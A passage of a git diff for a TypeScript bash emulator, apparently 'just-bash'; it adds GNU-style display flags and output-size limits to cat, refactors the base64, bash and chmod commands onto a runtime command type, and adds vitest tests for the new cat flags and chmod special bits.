+        ctx.limits.maxStringLength,
+        "encoded size",
+        "string_length",
+      );
+      assertWithinLimit(
+        encodedLength + newlineCount,
+        ctx.limits.maxOutputSize,
+        "output size",
+        "output_size",
+      );
+
       // Use Buffer if available (Node.js) for better large file handling
       let encoded: string;
       if (typeof Buffer !== "undefined") {
@@ -137,7 +280,7 @@ export const base64Command: Command = {
         encoded = buffer.toString("base64");
       } else {
         // Browser fallback - convert binary to base64
-        encoded = btoa(String.fromCharCode(...readResult.data));
+        encoded = btoa(bytesToBinaryString(readResult.data));
       }
 
       if (wrapCols > 0) {
@@ -148,7 +291,8 @@ export const base64Command: Command = {
         encoded = lines.join("\n") + (encoded.length > 0 ? "\n" : "");
       }
       return { stdout: encoded, stderr: "", exitCode: 0 };
-    } catch {
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return { stdout: "", stderr: "base64: invalid input\n", exitCode: 1 };
     }
   },
diff --git a/packages/just-bash/src/commands/basename/basename.ts b/packages/just-bash/src/commands/basename/basename.ts
index cbc1f9de..a8c40fec 100644
--- a/packages/just-bash/src/commands/basename/basename.ts
+++ b/packages/just-bash/src/commands/basename/basename.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const basenameHelp = {
@@ -12,10 +16,13 @@ const basenameHelp = {
   ],
 };
 
-export const basenameCommand: Command = {
+export const basenameCommand: RuntimeCommand = {
   name: "basename",
 
-  async execute(args: string[], _ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    _ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(basenameHelp);
     }
diff --git a/packages/just-bash/src/commands/bash/bash.ts b/packages/just-bash/src/commands/bash/bash.ts
index b20e1f16..2ecda5a0 100644
--- a/packages/just-bash/src/commands/bash/bash.ts
+++ b/packages/just-bash/src/commands/bash/bash.ts
@@ -1,6 +1,10 @@
 import { decodeBytesToUtf8, latin1FromBytes } from "../../encoding.js";
 import { mergeToNullPrototype } from "../../helpers/env.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const bashHelp = {
@@ -18,10 +22,13 @@ const bashHelp = {
   ],
 };
 
-export const bashCommand: Command = {
+export const bashCommand: RuntimeCommand = {
   name: "bash",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(bashHelp);
     }
@@ -66,10 +73,13 @@ export const bashCommand: Command = {
 };
 
 // sh is an alias for bash
-export const shCommand: Command = {
+export const shCommand: RuntimeCommand = {
   name: "sh",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp({
         ...bashHelp,
@@ -120,7 +130,7 @@ async function executeScript(
   script: string,
   scriptName: string,
   scriptArgs: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   if (!ctx.exec) {
     return {
@@ -159,13 +169,20 @@ async function executeScript(
   // Forward our already-byte-shaped stdin verbatim — `stdinKind: "bytes"`
   // tells the nested exec entry to skip the default text-mode UTF-8
   // encoding and avoid double-encoding.
-  const result = await ctx.exec(scriptToRun, {
-    env: positionalEnv,
-    cwd: ctx.cwd,
-    stdin: latin1FromBytes(ctx.stdin),
-    stdinKind: "bytes",
-    signal: ctx.signal,
-  });
+  const nestedExec = ctx.execWithInheritedStdin;
+  const result = nestedExec
+    ? await nestedExec(scriptToRun, {
+        env: positionalEnv,
+        cwd: ctx.cwd,
+        signal: ctx.signal,
+      })
+    : await ctx.exec(scriptToRun, {
+        env: positionalEnv,
+        cwd: ctx.cwd,
+        stdin: latin1FromBytes(ctx.stdin),
+        stdinKind: "bytes",
+        signal: ctx.signal,
+      });
   return result;
 }
 
diff --git a/packages/just-bash/src/commands/cat/cat.display-flags.test.ts b/packages/just-bash/src/commands/cat/cat.display-flags.test.ts
new file mode 100644
index 00000000..22798329
--- /dev/null
+++ b/packages/just-bash/src/commands/cat/cat.display-flags.test.ts
@@ -0,0 +1,130 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("cat -E / -T (show ends and tabs)", () => {
+  it("-E appends $ before each newline", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\nb\\n" | cat -E');
+    expect(r.stdout).toBe("a$\nb$\n");
+    expect(r.stderr).toBe("");
+    expect(r.exitCode).toBe(0);
+  });
+
+  it("-E does not append $ to a final unterminated line", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\nb" | cat -E');
+    expect(r.stdout).toBe("a$\nb");
+    expect(r.stderr).toBe("");
+  });
+
+  it("-T renders TAB as ^I", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\tb\\n" | cat -T');
+    expect(r.stdout).toBe("a^Ib\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("long options --show-ends and --show-tabs work", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\tb\\n" | cat --show-ends --show-tabs');
+    expect(r.stdout).toBe("a^Ib$\n");
+    expect(r.stderr).toBe("");
+  });
+});
+
+describe("cat flag aliases (-A/-e/-t)", () => {
+  it("-A is equivalent to -vET", async () => {
+    const env = new Bash();
+    const a = await env.exec('printf "a\\tb\\n" | cat -A');
+    const vet = await env.exec('printf "a\\tb\\n" | cat -vET');
+    expect(a.stdout).toBe("a^Ib$\n");
+    expect(a.stdout).toBe(vet.stdout);
+    expect(a.stderr).toBe("");
+  });
+
+  it("-e is equivalent to -vE (does not expand tabs)", async () => {
+    const env = new Bash();
+    const e = await env.exec('printf "a\\tb\\n" | cat -e');
+    const vE = await env.exec('printf "a\\tb\\n" | cat -vE');
+    expect(e.stdout).toBe("a\tb$\n");
+    expect(e.stdout).toBe(vE.stdout);
+  });
+
+  it("-t is equivalent to -vT (no $ at end)", async () => {
+    const env = new Bash();
+    const t = await env.exec('printf "a\\tb\\n" | cat -t');
+    const vT = await env.exec('printf "a\\tb\\n" | cat -vT');
+    expect(t.stdout).toBe("a^Ib\n");
+    expect(t.stdout).toBe(vT.stdout);
+  });
+
+  it("--show-all is equivalent to -vET", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\tb\\n" | cat --show-all');
+    expect(r.stdout).toBe("a^Ib$\n");
+  });
+});
+
+describe("cat -n / -b numbering", () => {
+  it("-n numbers every line including blank lines", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\nb\\n" | cat -n');
+    expect(r.stdout).toBe("     1\ta\n     2\t\n     3\tb\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("-b numbers only non-blank lines", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\nb\\n" | cat -b');
+    expect(r.stdout).toBe("     1\ta\n\n     2\tb\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("-b overrides -n when both are given", async () => {
+    const env = new Bash();
+    const bn = await env.exec('printf "a\\n\\nb\\n" | cat -bn');
+    const b = await env.exec('printf "a\\n\\nb\\n" | cat -b');
+    expect(bn.stdout).toBe("     1\ta\n\n     2\tb\n");
+    expect(bn.stdout).toBe(b.stdout);
+  });
+
+  it("--number-nonblank long option works", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\nb\\n" | cat --number-nonblank');
+    expect(r.stdout).toBe("     1\ta\n\n     2\tb\n");
+  });
+
+  it("numbers a final unterminated line with no trailing newline", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a" | cat -n');
+    expect(r.stdout).toBe("     1\ta");
+    expect(r.stderr).toBe("");
+  });
+});
+
+describe("cat -s (squeeze blank lines)", () => {
+  it("collapses runs of adjacent blank lines to one", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\n\\n\\nb\\n" | cat -s');
+    expect(r.stdout).toBe("a\n\nb\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("collapses leading blank lines", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "\\n\\n\\na\\n" | cat -s');
+    expect(r.stdout).toBe("\na\n");
+  });
+
+  it("squeeze happens before numbering", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\n\\nb\\n" | cat -sn');
+    expect(r.stdout).toBe("     1\ta\n     2\t\n     3\tb\n");
+  });
+
+  it("--squeeze-blank long option works", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\n\\nb\\n" | cat --squeeze-blank');
+    expect(r.stdout).toBe("a\n\nb\n");
+  });
+});
diff --git a/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts b/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts
new file mode 100644
index 00000000..0a3a9d11
--- /dev/null
+++ b/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts
@@ -0,0 +1,117 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("cat combined and long options", () => {
+  it("combined -An expands to number + show-all", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\tb\\n" | cat -An');
+    expect(r.stdout).toBe("     1\ta^Ib$\n");
+    expect(r.stderr).toBe("");
+    expect(r.exitCode).toBe(0);
+  });
+
+  it("combined -bE numbers non-blank and shows ends", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n\\nb\\n" | cat -bE');
+    expect(r.stdout).toBe("     1\ta$\n$\n     2\tb$\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("--number long option works", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\nb\\n" | cat --number');
+    expect(r.stdout).toBe("     1\ta\n     2\tb\n");
+  });
+
+  it("--show-nonprinting long option works", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\001b\\n" | cat --show-nonprinting');
+    expect(r.stdout).toBe("a^Ab\n");
+  });
+});
+
+describe("cat -u (ignored no-op)", () => {
+  it("-u alone does not change output", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\nb\\n" | cat -u');
+    expect(r.stdout).toBe("a\nb\n");
+    expect(r.stderr).toBe("");
+    expect(r.exitCode).toBe(0);
+  });
+
+  it("-u combined with -n still numbers", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\n" | cat -un');
+    expect(r.stdout).toBe("     1\ta\n");
+    expect(r.stderr).toBe("");
+  });
+});
+
+describe("cat unknown flags", () => {
+  it("errors on an unknown short flag", async () => {
+    const env = new Bash();
+    const r = await env.exec("cat -Z");
+    expect(r.stdout).toBe("");
+    expect(r.stderr).toBe("cat: invalid option -- 'Z'\n");
+    expect(r.exitCode).toBe(1);
+  });
+
+  it("errors on an unknown long flag", async () => {
+    const env = new Bash();
+    const r = await env.exec("cat --bogus");
+    expect(r.stdout).toBe("");
+    expect(r.stderr).toBe("cat: unrecognized option '--bogus'\n");
+    expect(r.exitCode).toBe(1);
+  });
+});
+
+describe("cat multi-file numbering with display flags", () => {
+  it("continues line numbers across files with -n", async () => {
+    const env = new Bash({
+      files: { "/a.txt": "a1\na2\n", "/b.txt": "b1\nb2\n" },
+    });
+    const r = await env.exec("cat -n /a.txt /b.txt");
+    expect(r.stdout).toBe("     1\ta1\n     2\ta2\n     3\tb1\n     4\tb2\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("squeezes blank lines across the file boundary", async () => {
+    const env = new Bash({
+      files: { "/a.txt": "a\n\n", "/b.txt": "\n\nb\n" },
+    });
+    const r = await env.exec("cat -s /a.txt /b.txt");
+    expect(r.stdout).toBe("a\n\nb\n");
+    expect(r.stderr).toBe("");
+  });
+
+  it("applies -E across a file that does not end in newline", async () => {
+    const env = new Bash({
+      files: { "/a.txt": "a", "/b.txt": "b\n" },
+    });
+    const r = await env.exec("cat -E /a.txt /b.txt");
+    expect(r.stdout).toBe("ab$\n");
+    expect(r.stderr).toBe("");
+  });
+});
+
+describe("cat --help lists display flags", () => {
+  it("mentions each supported flag", async () => {
+    const env = new Bash();
+    const r = await env.exec("cat --help");
+    expect(r.exitCode).toBe(0);
+    for (const opt of [
+      "--show-all",
+      "--number-nonblank",
+      "--show-ends",
+      "--number",
+      "--squeeze-blank",
+      "--show-tabs",
+      "--show-nonprinting",
+      "-e",
+      "-t",
+      "-u",
+    ]) {
+      expect(r.stdout).toContain(opt);
+    }
+  });
+});
diff --git a/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts b/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts
new file mode 100644
index 00000000..b42d5fa3
--- /dev/null
+++ b/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts
@@ -0,0 +1,81 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+/** Independent reference implementation of the GNU `cat -v` byte table. */
+function vRef(byte: number, showTabs: boolean): string {
+  if (byte === 9) return showTabs ? "^I" : "\t";
+  if (byte >= 32) {
+    if (byte < 127) return String.fromCharCode(byte);
+    if (byte === 127) return "^?";
+    const c = byte - 128;
+    if (c >= 32) return c === 127 ? "M-^?" : `M-${String.fromCharCode(c)}`;
+    return `M-^${String.fromCharCode(c + 64)}`;
+  }
+  return `^${String.fromCharCode(byte + 64)}`;
+}
+
+describe("cat -v byte table (GNU semantics)", () => {
+  it("transforms every byte 0-255 (except LF) exactly", async () => {
+    const codes: number[] = [];
+    for (let b = 0; b <= 255; b++) {
+      if (b !== 10) codes.push(b);
+    }
+    codes.push(10); // trailing newline terminator
+    const env = new Bash({ files: { "/bytes.bin": new Uint8Array(codes) } });
+    const r = await env.exec("cat -v /bytes.bin");
+
+    let expected = "";
+    for (const b of codes) {
+      if (b === 10) expected += "\n";
+      else expected += vRef(b, false);
+    }
+    expect(r.stdout).toBe(expected);
+    expect(r.stderr).toBe("");
+    expect(r.exitCode).toBe(0);
+  });
+
+  it("matches known control-character representations", async () => {
+    const env = new Bash({
+      files: {
+        "/c.bin": new Uint8Array([0, 1, 7, 8, 27, 31, 32, 126, 127, 10]),
+      },
+    });
+    const r = await env.exec("cat -v /c.bin");
+    expect(r.stdout).toBe("^@^A^G^H^[^_ ~^?\n");
+  });
+
+  it("renders high bytes with M- notation", async () => {
+    const env = new Bash({
+      files: {
+        "/h.bin": new Uint8Array([128, 129, 155, 159, 160, 200, 254, 255, 10]),
+      },
+    });
+    const r = await env.exec("cat -v /h.bin");
+    expect(r.stdout).toBe("M-^@M-^AM-^[M-^_M- M-HM-~M-^?\n");
+  });
+
+  it("leaves TAB literal under -v but renders ^I under -vT", async () => {
+    const env = new Bash({
+      files: { "/t.bin": new Uint8Array([97, 9, 98, 10]) },
+    });
+    const v = await env.exec("cat -v /t.bin");
+    expect(v.stdout).toBe("a\tb\n");
+    const vt = await env.exec("cat -vT /t.bin");
+    expect(vt.stdout).toBe("a^Ib\n");
+  });
+
+  it("never transforms the newline terminator", async () => {
+    const env = new Bash();
+    const r = await env.exec('printf "a\\nb\\n" | cat -v');
+    expect(r.stdout).toBe("a\nb\n");
+  });
+
+  it("renders UTF-8 multibyte bytes with M- notation", async () => {
+    // "é" is UTF-8 0xC3 0xA9
+    const env = new Bash({
+      files: { "/u.bin": new Uint8Array([0xc3, 0xa9, 10]) },
+    });
+    const r = await env.exec("cat -v /u.bin");
+    expect(r.stdout).toBe("M-CM-)\n");
+  });
+});
diff --git a/packages/just-bash/src/commands/cat/cat.ts b/packages/just-bash/src/commands/cat/cat.ts
index 867c85bc..5c62410c 100644
--- a/packages/just-bash/src/commands/cat/cat.ts
+++ b/packages/just-bash/src/commands/cat/cat.ts
@@ -1,7 +1,13 @@
-import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { latin1FromBytes, readBytesFrom } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
-import { readFiles } from "../../utils/file-reader.js";
+import { accountFileInput } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const catHelp = {
@@ -9,53 +15,141 @@ const catHelp = {
   summary: "concatenate files and print on the standard output",
   usage: "cat [OPTION]... [FILE]...",
   options: [
+    "-A, --show-all         equivalent to -vET",
+    "-b, --number-nonblank  number nonempty output lines, overrides -n",
+    "-e                     equivalent to -vE",
+    "-E, --show-ends        display $ at end of each line",
     "-n, --number           number all output lines",
+    "-s, --squeeze-blank    suppress repeated empty output lines",
+    "-t                     equivalent to -vT",
+    "-T, --show-tabs        display TAB characters as ^I",
+    "-u                     (ignored)",
+    "-v, --show-nonprinting use ^ and M- notation, except for LFD and TAB",
     "    --help             display this help and exit",
   ],
 };
 
 const argDefs = {
   number: { short: "n", long: "number", type: "boolean" as const },
+  numberNonblank: {
+    short: "b",
+    long: "number-nonblank",
+    type: "boolean" as const,
+  },
+  showEnds: { short: "E", long: "show-ends", type: "boolean" as const },
+  showTabs: { short: "T", long: "show-tabs", type: "boolean" as const },
+  showNonprinting: {
+    short: "v",
+    long: "show-nonprinting",
+    type: "boolean" as const,
+  },
+  showAll: { short: "A", long: "show-all", type: "boolean" as const },
+  squeeze: { short: "s", long: "squeeze-blank", type: "boolean" as const },
+  vE: { short: "e", type: "boolean" as const },
+  vT: { short: "t", type: "boolean" as const },
+  ignored: { short: "u", type: "boolean" as const },
 };
 
-export const catCommand: Command = {
+interface CatOptions {
+  numberAll: boolean;
+  numberNonblank: boolean;
+  showEnds: boolean;
+  showTabs: boolean;
+  showNonprinting: boolean;
+  squeeze: boolean;
+}
+
+export const catCommand: RuntimeCommand = {
   name: "cat",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(catHelp);
     }
 
     const parsed = parseArgs("cat", args, argDefs);
     if (!parsed.ok) return parsed.error;
+    const f = parsed.result.flags;
+
+    // Alias expansion: -A == -vET, -e == -vE, -t == -vT.
+    const showEnds = f.showEnds || f.showAll || f.vE;
+    const showTabs = f.showTabs || f.showAll || f.vT;
+    const showNonprinting = f.showNonprinting || f.showAll || f.vE || f.vT;
+    const squeeze = f.squeeze;
+    // -b overrides -n.
+    const numberNonblank = f.numberNonblank;
+    const numberAll = f.number && !numberNonblank;
+
+    const opts: CatOptions = {
+      numberAll,
+      numberNonblank,
+      showEnds,
+      showTabs,
+      showNonprinting,
+      squeeze,
+    };
 
-    const showLineNumbers = parsed.result.flags.number;
     const files = parsed.result.positional;
 
-    // Read files (allows "-" for stdin)
-    const readResult = await readFiles(ctx, files, {
-      cmdName: "cat",
-      allowStdinMarker: true,
-      stopOnError: false,
-    });
-
-    let stdout = "";
-    let lineNumber = 1;
-
-    for (const { content } of readResult.files) {
-      // cat is byte-clean: emit raw bytes unchanged. The output boundary
-      // (Bash.exec) decodes UTF-8 sequences back to Unicode for terminals.
-      const bytes = latin1FromBytes(content);
-      if (showLineNumbers) {
-        // Real bash continues line numbers across files
-        const result = addLineNumbers(bytes, lineNumber);
-        stdout += result.content;
-        lineNumber = result.nextLineNumber;
-      } else {
-        stdout += bytes;
+    const maxStringLength = ctx.limits.maxStringLength;
+    const maxOutputSize = Math.min(maxStringLength, ctx.limits.maxOutputSize);
+    const inputs = files.length === 0 ? ["-"] : files;
+    let stderr = "";
+    let exitCode = 0;
+    let aggregateInputBytes = 0;
+
+    let stdout: string;
+    const transform =
+      showEnds ||
+      showTabs ||
+      showNonprinting ||
+      squeeze ||
+      numberAll ||
+      numberNonblank;
+
+    let stream = "";
+    for (const file of inputs) {
+      try {
+        const content =
+          file === "-"
+            ? ctx.stdin
+            : await readBytesFrom(ctx.fs, ctx.fs.resolvePath(ctx.cwd, file));
+        const rawContent = latin1FromBytes(content);
+        const contentLength = rawContent.length;
+        const inputLimit = Math.min(
+          transform ? maxStringLength : maxOutputSize,
+          ctx.limits.maxInputBytes,
+        );
+        if (contentLength > inputLimit - aggregateInputBytes) {
+          throw new ExecutionLimitError(
+            `cat: ${transform ? "input" : "output"} size limit exceeded (${inputLimit} bytes)`,
+            transform ? "string_length" : "output_size",
+          );
+        }
+        if (file !== "-") accountFileInput(ctx, contentLength, "cat");
+        aggregateInputBytes += contentLength;
+        stream += rawContent;
+      } catch (error) {
+        rethrowFatalExecutionError(error);
+        stderr += `cat: ${file}: No such file or directory\n`;
+        exitCode = 1;
       }
     }
 
+    if (!transform) {
+      stdout = stream;
+    } else {
+      stdout = formatCat(
+        stream,
+        opts,
+        maxOutputSize,
+        ctx.limits.maxArrayElements,
+      );
+    }
+
     // cat is byte-clean: it forwards every byte of stdin / file content
     // unchanged. Mark stdout binary unconditionally so the pipeline glue
     // doesn't UTF-8-encode the bytes a second time when the next stage
@@ -63,31 +157,131 @@ export const catCommand: Command = {
     // smart-utf8 encoding path that would otherwise double-encode.
     return {
       stdout,
-      stderr: readResult.stderr,
-      exitCode: readResult.exitCode,
+      stderr,
+      exitCode,
       stdoutEncoding: "binary",
     };
   },
 };
 
-function addLineNumbers(
-  content: string,
-  startLine: number,
-): { content: string; nextLineNumber: number } {
-  const lines = content.split("\n");
-  // Don't number the trailing empty line if file ends with newline
-  const hasTrailingNewline = content.endsWith("\n");
-  const linesToNumber = hasTrailingNewline ? lines.slice(0, -1) : lines;
-
-  const numbered = linesToNumber.map((line, i) => {
-    const num = String(startLine + i).padStart(6, " ");
-    return `${num}\t${line}`;
-  });
-
-  return {
-    content: numbered.join("\n") + (hasTrailingNewline ? "\n" : ""),
-    nextLineNumber: startLine + linesToNumber.length,
+/**
+ * GNU `cat -v` byte transformation (per byte 0-255). LF and TAB are handled
+ * by the caller and never passed here.
+ */
+function showNonprintingByte(byte: number): string {
+  if (byte >= 32) {
+    if (byte < 127) return String.fromCharCode(byte);
+    if (byte === 127) return "^?";
+    // byte >= 128
+    const c = byte - 128;
+    if (c >= 32) return c === 127 ? "M-^?" : `M-${String.fromCharCode(c)}`;
+    return `M-^${String.fromCharCode(c + 64)}`;
+  }
+  // byte < 32 (TAB and LF already handled by caller)
+  return `^${String.fromCharCode(byte + 64)}`;
+}
+
+/** Apply -v / -T transforms to a single line's bytes (excludes the newline). */
+function transformLine(
+  line: string,
+  opts: CatOptions,
+  maxLength: number,
+): string {
+  if (!opts.showNonprinting && !opts.showTabs) return line;
+  let out = "";
+  const append = (value: string): void => {
+    if (value.length > maxLength - out.length) {
+      throw new ExecutionLimitError(
+        `cat: output size limit exceeded`,
+        "output_size",
+      );
+    }
+    out += value;
   };
+  for (let i = 0; i < line.length; i++) {
+    const b = line.charCodeAt(i);
+    if (b === 9) {
+      append(opts.showTabs ? "^I" : "\t");
+    } else if (opts.showNonprinting) {
+      append(showNonprintingByte(b));
+    } else {
+      append(line[i]);
+    }
+  }
+  return out;
+}
+
+/**
+ * Format the concatenated byte stream applying numbering, squeeze, and the
+ * -v/-T/-E transforms in GNU per-line order.
+ */
+function formatCat(
+  stream: string,
+  opts: CatOptions,
+  maxOutputSize: number,
+  maxArrayElements: number,
+): string {
+  let partCount = 1;
+  for (let i = 0; i < stream.length; i++) {
+    if (stream.charCodeAt(i) === 10) partCount++;
+    if (partCount > maxArrayElements) {
+      throw new ExecutionLimitError(
+        `cat: array element limit exceeded (${maxArrayElements})`,
+        "array_elements",
+      );
+    }
+  }
+  const parts = stream.split("\n");
+  let out = "";
+  let lineNo = 1;
+  let prevBlank = false;
+  const append = (value: string): void => {
+    if (value.length > maxOutputSize - out.length) {
+      throw new ExecutionLimitError(
+        `cat: output size limit exceeded (${maxOutputSize} bytes)`,
+        "output_size",
+      );
+    }
+    out += value;
+  };
+
+  for (let i = 0; i < parts.length; i++) {
+    const isLast = i === parts.length - 1;
+    const terminated = !isLast;
+    const content = parts[i];
+
+    // A trailing empty segment means the stream ended with a newline (or was
+    // empty): there is no final partial line to emit.
+    if (isLast && content === "") break;
+
+    const blank = content === "";
+
+    // Squeeze: collapse runs of adjacent blank lines into a single blank line.
+    if (opts.squeeze && blank && prevBlank) {
+      continue;
+    }
+    prevBlank = blank;
+
+    let prefix = "";
+    if (opts.numberAll || (opts.numberNonblank && !blank)) {
+      prefix = `${String(lineNo).padStart(6, " ")}\t`;
+      lineNo++;
+    }
+
+    const remaining = maxOutputSize - out.length - prefix.length;
+    if (remaining < 0) {
+      throw new ExecutionLimitError(
+        `cat: output size limit exceeded (${maxOutputSize} bytes)`,
+        "output_size",
+      );
+    }
+    append(prefix + transformLine(content, opts, remaining));
+    if (terminated) {
+      append(opts.showEnds ? "$\n" : "\n");
+    }
+  }
+
+  return out;
 }
 
 import type { CommandFuzzInfo } from "../fuzz-flags-types.js";
diff --git a/packages/just-bash/src/commands/chmod/chmod.special-bits.test.ts b/packages/just-bash/src/commands/chmod/chmod.special-bits.test.ts
new file mode 100644
index 00000000..afe083fc
--- /dev/null
+++ b/packages/just-bash/src/commands/chmod/chmod.special-bits.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("chmod symbolic replacement of special bits", () => {
+  it.each([
+    ["u=rw", 0o4755, 0o655],
+    ["g=rx", 0o2755, 0o755],
+    ["o=rx", 0o1755, 0o755],
+  ] as const)("clears the class-associated bit for %s", async (mode, before, after) => {
+    const bash = new Bash({ files: { "/file": "data" } });
+    await bash.fs.chmod("/file", before);
+
+    const result = await bash.exec(`chmod ${mode} /file`);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+    expect((await bash.fs.stat("/file")).mode & 0o7777).toBe(after);
+  });
+});
diff --git a/packages/just-bash/src/commands/chmod/chmod.ts b/packages/just-bash/src/commands/chmod/chmod.ts
index e31d20d1..74f15be1 100644
--- a/packages/just-bash/src/commands/chmod/chmod.ts
+++ b/packages/just-bash/src/commands/chmod/chmod.ts
@@ -1,4 +1,11 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { FileTraversalBudget, traverseFileTree } from "../../fs/traversal.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const chmodHelp = {
@@ -12,10 +19,13 @@ const chmodHelp = {
   ],
 };
 
-export const chmodCommand: Command = {
+export const chmodCommand: RuntimeCommand = {
   name: "chmod",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(chmodHelp);
     }
@@ -84,7 +94,10 @@ export const chmodCommand: Command = {
       }
     }
 
-    let stdout = "";
+    const output = new BoundedStringBuilder(
+      Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+      "chmod",
+    );
     let stderr = "";
     let anyError = false;
 
@@ -102,74 +115,77 @@ export const chmodCommand: Command = {
 
         await ctx.fs.chmod(filePath, modeValue);
         if (verbose) {
-          stdout += `mode of '${file}' changed to ${modeValue.toString(8).padStart(4, "0")}\n`;
+          output.append(
+            `mode of '${file}' changed to ${modeValue.toString(8).padStart(4, "0")}\n`,
+          );
         }
 
         if (recursive) {
           // Check if directory
           const stat = await ctx.fs.stat(filePath);
           if (stat.isDirectory) {
-            const recursiveOutput = await chmodRecursive(
+            await chmodRecursive(
               ctx,
               filePath,
               isNumericMode ? numericMode : undefined,
               isNumericMode ? undefined : modeArg,
               verbose,
+              output,
             );
-            stdout += recursiveOutput;
           }
         }
-      } catch {
+      } catch (error) {
+        rethrowFatalExecutionError(error);
         stderr += `chmod: cannot access '${file}': No such file or directory\n`;
         anyError = true;
       }
     }
 
-    return { stdout, stderr, exitCode: anyError ? 1 : 0 };
+    return { stdout: output.build(), stderr, exitCode: anyError ? 1 : 0 };
   },
 };
 
 async function chmodRecursive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   dir: string,
   numericMode: number | undefined,
   symbolicMode: string | undefined,
   verbose: boolean,
-): Promise<string> {
-  let output = "";
-  const entries = await ctx.fs.readdir(dir);
-  for (const entry of entries) {
-    const fullPath = dir === "/" ? `/${entry}` : `${dir}/${entry}`;
-
-    // Calculate mode value
-    let modeValue: number;
-    if (numericMode !== undefined) {
-      modeValue = numericMode;
-    } else if (symbolicMode !== undefined) {
-      const stat = await ctx.fs.stat(fullPath);
-      modeValue = parseMode(symbolicMode, stat.mode);
-    } else {
-      // Should not happen, but fallback to 0644
-      modeValue = 0o644;
-    }
-
-    await ctx.fs.chmod(fullPath, modeValue);
-    if (verbose) {
-      output += `mode of '${fullPath}' changed to ${modeValue.toString(8).padStart(4, "0")}\n`;
-    }
-
-    const stat = await ctx.fs.stat(fullPath);
-    if (stat.isDirectory) {
-      output += await chmodRecursive(
-        ctx,
-        fullPath,
-        numericMode,
-        symbolicMode,
-        verbose,
-      );
-    }
-  }
-  return output;
+  output: BoundedStringBuilder,
+): Promise<void> {
+  const budget = new FileTraversalBudget({
+    limits: ctx.limits,
